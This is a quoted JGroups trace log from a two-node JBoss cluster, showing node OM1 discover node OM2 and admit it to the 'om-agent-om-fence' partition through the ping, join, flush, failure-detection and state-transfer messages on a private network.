> 2013-08-30 09:48:58,463 TRACE [UDP] (OOB-12,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:58,463 TRACE [UDP] (OOB-13,null) received [dst: OM1:1299, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:58,463 TRACE [PING] (OOB-13,null) received GET_MBRS_RSP from OM1:1299: own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299
> 2013-08-30 09:48:59,477 TRACE [UDP] (Timer-2,<ADDR>) sending msg to null, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:59,477 TRACE [UDP] (Timer-2,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:48:59,477 TRACE [UDP] (OOB-14,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:59,477 TRACE [PING] (OOB-14,null) received GET_MBRS_REQ from OM1:1299, sending response [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299]
> 2013-08-30 09:48:59,477 TRACE [UDP] (OOB-14,null) sending msg to OM1:1299, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:59,477 TRACE [UDP] (OOB-15,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:59,477 TRACE [UDP] (OOB-16,null) received [dst: OM1:1299, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:59,477 TRACE [PING] (OOB-16,null) received GET_MBRS_RSP from OM1:1299: own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299
> 2013-08-30 09:49:00,475 TRACE [PING] (Timer-4,<ADDR>) discovery took 2012 ms: responses: 1 total (1 servers (1 coord), 0 clients)
> 2013-08-30 09:49:00,475 TRACE [MERGE2] (Timer-4,<ADDR>) Discovery results:
> [OM1:1299]: [OM1:1299|0] [OM1:1299]
> 2013-08-30 09:49:00,834 TRACE [STABLE] (Timer-5,<ADDR>) OM1:1299: setting latest_local_digest from NAKACK: [OM1:1299#2]
> 2013-08-30 09:49:00,834 TRACE [STABLE] (Timer-5,<ADDR>) OM1:1299: sending stable msg [OM1:1299#2]
> 2013-08-30 09:49:00,834 TRACE [NAKACK] (Timer-2,<ADDR>) sending OM1:1299#3
> 2013-08-30 09:49:00,834 TRACE [UDP] (Timer-2,<ADDR>) sending msg to null, src=OM1:1299, headers are STABLE: [STABLE_GOSSIP]: digest is OM1:1299: [0 : 2 (2)], NAKACK: [MSG, seqno=3], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:00,834 TRACE [UDP] (Timer-2,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:49:00,834 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABLE_GOSSIP]: digest is OM1:1299: [0 : 2 (2)], NAKACK: [MSG, seqno=3], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:00,834 TRACE [UDP] (OOB-18,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABLE_GOSSIP]: digest is OM1:1299: [0 : 2 (2)], NAKACK: [MSG, seqno=3], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:00,834 TRACE [NAKACK] (OOB-17,null) OM1:1299: received OM1:1299#3
> 2013-08-30 09:49:00,834 TRACE [STABLE] (OOB-17,null) OM1:1299: handling digest from OM1:1299 (0 votes):
> mine:   [OM1:1299#1]
> other:  [OM1:1299#2]
> result: [OM1:1299#1]
> 2013-08-30 09:49:00,834 TRACE [STABLE] (OOB-17,null) OM1:1299: sending stability msg (in 780 ms) [OM1:1299#1] (copy=1081264483)
> 2013-08-30 09:49:01,630 TRACE [STABLE] (Timer-4,<ADDR>) OM1:1299: sending stability msg [OM1:1299#1] (copy=1081264483)
> 2013-08-30 09:49:01,630 TRACE [NAKACK] (Timer-4,<ADDR>) sending OM1:1299#4
> 2013-08-30 09:49:01,630 TRACE [UDP] (Timer-4,<ADDR>) sending msg to null, src=OM1:1299, headers are STABLE: [STABILITY]: digest is OM1:1299: [0 : 1 (2)], NAKACK: [MSG, seqno=4], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:01,630 TRACE [UDP] (Timer-4,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:49:01,630 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABILITY]: digest is OM1:1299: [0 : 1 (2)], NAKACK: [MSG, seqno=4], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:01,630 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABILITY]: digest is OM1:1299: [0 : 1 (2)], NAKACK: [MSG, seqno=4], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:01,630 TRACE [NAKACK] (OOB-19,null) OM1:1299: received OM1:1299#4
> 2013-08-30 09:49:01,630 TRACE [STABLE] (OOB-19,null) OM1:1299: received stability msg from OM1:1299: [OM1:1299#1]
> 2013-08-30 09:49:01,630 TRACE [STABLE] (OOB-19,null) OM1:1299: resetting digest from NAKACK: [OM1:1299#3]
> 2013-08-30 09:49:01,630 TRACE [NAKACK] (OOB-19,null) received stable digest OM1:1299: [0 : 1 (2)]
> 2013-08-30 09:49:01,630 TRACE [NAKACK] (OOB-19,null) deleting msgs <= 1 from OM1:1299
> 2013-08-30 09:49:25,638 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: 0877da68-118d-d463-ca8c-57545e902c09 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=0877da68-118d-d463-ca8c-57545e902c09, view id=null, is_server=false, is_coord=false, logical_name=OM2:1299, physical_addrs=192.168.1.201:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,638 TRACE [PING] (OOB-19,null) received GET_MBRS_REQ from OM2:1299, sending response [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400]
> 2013-08-30 09:49:25,638 TRACE [UDP] (OOB-19,null) sending msg to OM2:1299, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,716 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are GMS: GmsHeader[JOIN_REQ]: mbr=OM2:1299, UNICAST: DATA, seqno=1, first, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,716 TRACE [UNICAST] (OOB-19,null) OM1:1299 <-- DATA(OM2:1299: #1, first)
> 2013-08-30 09:49:25,732 TRACE [UNICAST] (OOB-19,null) OM1:1299: created receiver window for OM2:1299 at seqno=#1 for conn-id=0
> 2013-08-30 09:49:25,732 TRACE [UNICAST] (OOB-19,null) OM1:1299 --> ACK(OM2:1299: #1)
> 2013-08-30 09:49:25,732 TRACE [UDP] (OOB-19,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,794 DEBUG [GMS] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) new=[OM2:1299], suspected=[], leaving=[], new view: [OM1:1299|1] [OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,794 TRACE [NAKACK] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending OM1:1299#5
> 2013-08-30 09:49:25,794 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending msg to null, src=OM1:1299, headers are FLUSH: FLUSH[type=START_FLUSH,viewId=0,members=[OM1:1299]], NAKACK: [MSG, seqno=5], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,794 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes]
> 2013-08-30 09:49:25,794 TRACE [UDP] (Incoming-1,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=START_FLUSH,viewId=0,members=[OM1:1299]], NAKACK: [MSG, seqno=5], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,810 TRACE [NAKACK] (Incoming-1,null) OM1:1299: received OM1:1299#5
> 2013-08-30 09:49:25,810 TRACE [UDP] (Incoming-2,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=START_FLUSH,viewId=0,members=[OM1:1299]], NAKACK: [MSG, seqno=5], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,810 DEBUG [FLUSH] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: flush coordinator  is starting FLUSH with participants [OM1:1299]
> 2013-08-30 09:49:25,810 TRACE [UNICAST] (Incoming-1,null) OM1:1299: created connection to OM1:1299
> 2013-08-30 09:49:25,810 TRACE [UNICAST] (Incoming-1,null) OM1:1299 --> DATA(OM1:1299: #1, conn_id=0, first)
> 2013-08-30 09:49:25,810 TRACE [UDP] (Incoming-1,null) sending msg to OM1:1299, src=OM1:1299, headers are FLUSH: FLUSH[type=FLUSH_COMPLETED,viewId=0], UNICAST: DATA, seqno=1, first, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,810 DEBUG [FLUSH] (Incoming-1,null) OM1:1299: received START_FLUSH, responded with FLUSH_COMPLETED to OM1:1299
> 2013-08-30 09:49:25,810 TRACE [UDP] (Incoming-3,null) received [dst: OM1:1299, src: OM1:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=FLUSH_COMPLETED,viewId=0], UNICAST: DATA, seqno=1, first, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,810 TRACE [UNICAST] (Incoming-3,null) OM1:1299 <-- DATA(OM1:1299: #1, first)
> 2013-08-30 09:49:25,810 TRACE [UNICAST] (Incoming-3,null) OM1:1299: created receiver window for OM1:1299 at seqno=#1 for conn-id=0
> 2013-08-30 09:49:25,810 TRACE [UNICAST] (Incoming-3,null) OM1:1299 --> ACK(OM1:1299: #1)
> 2013-08-30 09:49:25,810 TRACE [UDP] (Incoming-3,null) sending msg to OM1:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,810 TRACE [UDP] (Incoming-4,null) received [dst: OM1:1299, src: OM1:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,825 TRACE [UNICAST] (Incoming-4,null) OM1:1299 <-- ACK(OM1:1299: #1)
> 2013-08-30 09:49:25,810 DEBUG [FLUSH] (Incoming-3,null) OM1:1299: FLUSH_COMPLETED from OM1:1299, completed true, flushMembers [OM1:1299], flushCompleted [OM1:1299]
> 2013-08-30 09:49:25,825 TRACE [GMS] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: successful GMS flush by coordinator
> 2013-08-30 09:49:25,825 DEBUG [FLUSH] (Incoming-3,null) OM1:1299: all FLUSH_COMPLETED received
> 2013-08-30 09:49:25,825 DEBUG [STABLE] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) suspending message garbage collection
> 2013-08-30 09:49:25,825 DEBUG [STABLE] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) resume task started, max_suspend_time=33000
> 2013-08-30 09:49:25,825 TRACE [GMS] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: mcasting view {[OM1:1299|1] [OM1:1299, OM2:1299]} (2 mbrs)
> 2013-08-30 09:49:25,825 TRACE [NAKACK] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending OM1:1299#6
> 2013-08-30 09:49:25,825 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending msg to null, src=OM1:1299, headers are GMS: GmsHeader[VIEW]: view=[OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=6], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,825 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes]
> 2013-08-30 09:49:25,825 TRACE [UDP] (Incoming-5,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes], headers are GMS: GmsHeader[VIEW]: view=[OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=6], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,825 TRACE [NAKACK] (Incoming-5,null) OM1:1299: received OM1:1299#6
> 2013-08-30 09:49:25,825 TRACE [UDP] (Incoming-6,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes], headers are GMS: GmsHeader[VIEW]: view=[OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=6], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,825 DEBUG [NAKACK] (Incoming-5,null) 
> [setDigest()]
> existing digest:  OM1:1299: [1 : 6 (6)]
> new digest:       OM2:1299: [0 : 0], OM1:1299: [1 : 5 (5)]
> resulting digest: OM2:1299: [0 : 0 (0)], OM1:1299: [1 : 6 (6)]
> 2013-08-30 09:49:25,825 DEBUG [GMS] (Incoming-5,null) OM1:1299: view is [OM1:1299|1] [OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,825 TRACE [VIEW_SYNC] (Incoming-5,null) view send task started
> 2013-08-30 09:49:25,825 DEBUG [FD_SOCK] (Incoming-5,null) VIEW_CHANGE received: [OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,841 TRACE [UDP] (FD_SOCK pinger,om-agent-om-fence-HAPartition,OM1:1299) sending msg to null, src=OM1:1299, headers are FD_SOCK: I_HAVE_SOCK, mbr=OM1:1299, sock_addr=192.168.1.200:54400, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,841 TRACE [UDP] (FD_SOCK pinger,om-agent-om-fence-HAPartition,OM1:1299) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:49:25,841 TRACE [STABLE] (Incoming-5,null) OM1:1299: resetting digest from NAKACK: [OM1:1299#6, OM2:1299#0]
> 2013-08-30 09:49:25,841 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD_SOCK: I_HAVE_SOCK, mbr=OM1:1299, sock_addr=192.168.1.200:54400, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,841 TRACE [UFC] (Incoming-5,null) new membership: [OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,841 TRACE [FD_SOCK] (OOB-19,null) i-have-sock: OM1:1299 --> 192.168.1.200:54400 (cache is {OM1:1299=192.168.1.200:54400})
> 2013-08-30 09:49:25,841 TRACE [MFC] (Incoming-5,null) new membership: [OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,841 TRACE [FD_SOCK] (FD_SOCK pinger,om-agent-om-fence-HAPartition,OM1:1299) pinger_thread started
> 2013-08-30 09:49:25,841 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD_SOCK: I_HAVE_SOCK, mbr=OM1:1299, sock_addr=192.168.1.200:54400, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,841 DEBUG [FD_SOCK] (FD_SOCK pinger,om-agent-om-fence-HAPartition,OM1:1299) ping_dest is OM2:1299, pingable_mbrs=[OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,841 INFO  [om-agent-om-fence] (Incoming-5,null) New cluster view for partition om-agent-om-fence (id: 1, delta: 1, merge: false) : [OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,841 TRACE [UDP] (FD_SOCK pinger,om-agent-om-fence-HAPartition,OM1:1299) sending msg to OM2:1299, src=OM1:1299, headers are FD_SOCK: WHO_HAS_SOCK, mbr=OM2:1299, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,841 INFO  [JGroupsTransport] (Incoming-5,null) Received new cluster view: [OM1:1299|1] [OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,841 INFO  [om-agent-om-fence] (AsynchViewChangeHandler Thread) I am (OM1:1299) received membershipChanged event:
> 2013-08-30 09:49:25,841 INFO  [om-agent-om-fence] (AsynchViewChangeHandler Thread) Dead members: 0 ([])
> 2013-08-30 09:49:25,841 INFO  [om-agent-om-fence] (AsynchViewChangeHandler Thread) New Members : 1 ([OM2:1299])
> 2013-08-30 09:49:25,841 INFO  [om-agent-om-fence] (AsynchViewChangeHandler Thread) All Members : 2 ([OM1:1299, OM2:1299])
> 2013-08-30 09:49:25,857 DEBUG [FLUSH] (Incoming-5,null) OM1:1299: installing view [OM1:1299|1] [OM1:1299, OM2:1299]
> 2013-08-30 09:49:25,857 TRACE [UNICAST] (Incoming-5,null) OM1:1299 --> DATA(OM1:1299: #2, conn_id=0)
> 2013-08-30 09:49:25,857 TRACE [UDP] (Incoming-5,null) sending msg to OM1:1299, src=OM1:1299, headers are GMS: GmsHeader[VIEW_ACK]: view=null, UNICAST: DATA, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,857 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are GMS: GmsHeader[VIEW_ACK]: view=null, UNICAST: DATA, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,857 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM1:1299: #2)
> 2013-08-30 09:49:25,857 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM1:1299: #2)
> 2013-08-30 09:49:25,857 TRACE [GMS] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: received all ACKs (1) from existing members for view [OM1:1299|1]
> 2013-08-30 09:49:25,857 TRACE [UDP] (OOB-20,null) sending msg to OM1:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,857 TRACE [UNICAST] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: created connection to OM2:1299
> 2013-08-30 09:49:25,857 TRACE [UNICAST] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299 --> DATA(OM2:1299: #1, conn_id=1, first)
> 2013-08-30 09:49:25,857 TRACE [UDP] (Incoming-7,null) received [dst: OM1:1299, src: OM1:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:25,857 TRACE [UNICAST] (Incoming-7,null) OM1:1299 <-- ACK(OM1:1299: #2)
> 2013-08-30 09:49:25,857 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending msg to OM2:1299, src=OM1:1299, headers are GMS: GmsHeader[JOIN_RSP]: join_rsp=view: [OM1:1299|1] [OM1:1299, OM2:1299], digest: OM2:1299: [0 : 0], OM1:1299: [1 : 5 (5)], UNICAST: DATA, seqno=1, conn_id=1, first, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,075 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD_SOCK: I_HAVE_SOCK, mbr=OM2:1299, sock_addr=192.168.1.201:54400, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,075 TRACE [FD_SOCK] (OOB-20,null) i-have-sock: OM2:1299 --> 192.168.1.201:54400 (cache is {OM2:1299=192.168.1.201:54400, OM1:1299=192.168.1.200:54400})
> 2013-08-30 09:49:26,075 TRACE [FD_SOCK] (FD_SOCK pinger,om-agent-om-fence-HAPartition,OM1:1299) ping_dest=OM2:1299, ping_sock=Socket[addr=/192.168.1.201,port=54400,localport=50257], cache={OM2:1299=192.168.1.201:54400, OM1:1299=192.168.1.200:54400}
> 2013-08-30 09:49:26,106 TRACE [UDP] (Incoming-8,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,106 TRACE [UNICAST] (Incoming-8,null) OM1:1299 <-- ACK(OM2:1299: #1)
> 2013-08-30 09:49:26,122 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD_SOCK: I_HAVE_SOCK, mbr=OM2:1299, sock_addr=192.168.1.201:54400, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,122 TRACE [FD_SOCK] (OOB-20,null) i-have-sock: OM2:1299 --> 192.168.1.201:54400 (cache is {OM2:1299=192.168.1.201:54400, OM1:1299=192.168.1.200:54400})
> 2013-08-30 09:49:26,122 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD_SOCK: GET_CACHE, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,122 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are FD_SOCK: GET_CACHE_RSP, cache={OM2:1299=192.168.1.201:54400, OM1:1299=192.168.1.200:54400}, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,137 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are GMS: GmsHeader[VIEW_ACK]: view=null, UNICAST: DATA, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,137 TRACE [FD_SOCK] (FD_SOCK server socket acceptor,om-agent-om-fence-HAPartition,OM1:1299) accepted connection from /192.168.1.201:63697
> 2013-08-30 09:49:26,137 TRACE [FD_SOCK] (FD_SOCK server socket acceptor,om-agent-om-fence-HAPartition,OM1:1299) waiting for client connections on OM1/192.168.1.200:54400
> 2013-08-30 09:49:26,137 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM2:1299: #2)
> 2013-08-30 09:49:26,137 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM2:1299: #2)
> 2013-08-30 09:49:26,137 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,153 TRACE [GMS] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: received all ACKs (1) from joiners for view [OM1:1299|1]
> 2013-08-30 09:49:26,153 TRACE [STABLE] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: resetting digest from NAKACK: [OM1:1299#6, OM2:1299#0]
> 2013-08-30 09:49:26,153 DEBUG [STABLE] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) resuming message garbage collection
> 2013-08-30 09:49:26,153 DEBUG [GMS] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: sending RESUME event
> 2013-08-30 09:49:26,153 DEBUG [FLUSH] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: received RESUME, sending STOP_FLUSH to all
> 2013-08-30 09:49:26,153 TRACE [NAKACK] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending OM1:1299#7
> 2013-08-30 09:49:26,153 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending msg to null, src=OM1:1299, headers are FLUSH: FLUSH[type=STOP_FLUSH,viewId=1], NAKACK: [MSG, seqno=7], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,153 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes]
> 2013-08-30 09:49:26,153 TRACE [UDP] (Incoming-9,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=STOP_FLUSH,viewId=1], NAKACK: [MSG, seqno=7], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,153 TRACE [NAKACK] (Incoming-9,null) OM1:1299: received OM1:1299#7
> 2013-08-30 09:49:26,153 TRACE [UDP] (Incoming-10,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=STOP_FLUSH,viewId=1], NAKACK: [MSG, seqno=7], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,153 DEBUG [FLUSH] (Incoming-9,null) OM1:1299: received STOP_FLUSH, unblocking FLUSH.down() and sending UNBLOCK up
> 2013-08-30 09:49:26,293 TRACE [UDP] (Incoming-11,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=0 bytes], headers are STREAMING_STATE_TRANSFER: type=STATE_REQ, sender=OM2:1299 id=0, UNICAST: DATA, seqno=3, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,293 TRACE [UNICAST] (Incoming-11,null) OM1:1299 <-- DATA(OM2:1299: #3)
> 2013-08-30 09:49:26,293 TRACE [UNICAST] (Incoming-11,null) OM1:1299 --> ACK(OM2:1299: #3)
> 2013-08-30 09:49:26,293 TRACE [UDP] (Incoming-11,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=3, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,309 DEBUG [STREAMING_STATE_TRANSFER] (Incoming-11,null) Responding to state requester OM2:1299 with address 192.168.1.200:50258 and digest null
> 2013-08-30 09:49:26,309 TRACE [UNICAST] (Incoming-11,null) OM1:1299 --> DATA(OM2:1299: #2, conn_id=1)
> 2013-08-30 09:49:26,309 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER server socket acceptor,om-agent-om-fence-HAPartition,OM1:1299) StateProviderThreadSpawner listening at 192.168.1.200:50258...
> 2013-08-30 09:49:26,309 TRACE [UDP] (Incoming-11,null) sending msg to OM2:1299, src=OM1:1299, headers are STREAMING_STATE_TRANSFER: type=STATE_RSP, sender=OM1:1299 id=0, UNICAST: DATA, seqno=2, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,309 TRACE [UDP] (Incoming-12,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,309 TRACE [UNICAST] (Incoming-12,null) OM1:1299 <-- ACK(OM2:1299: #2)
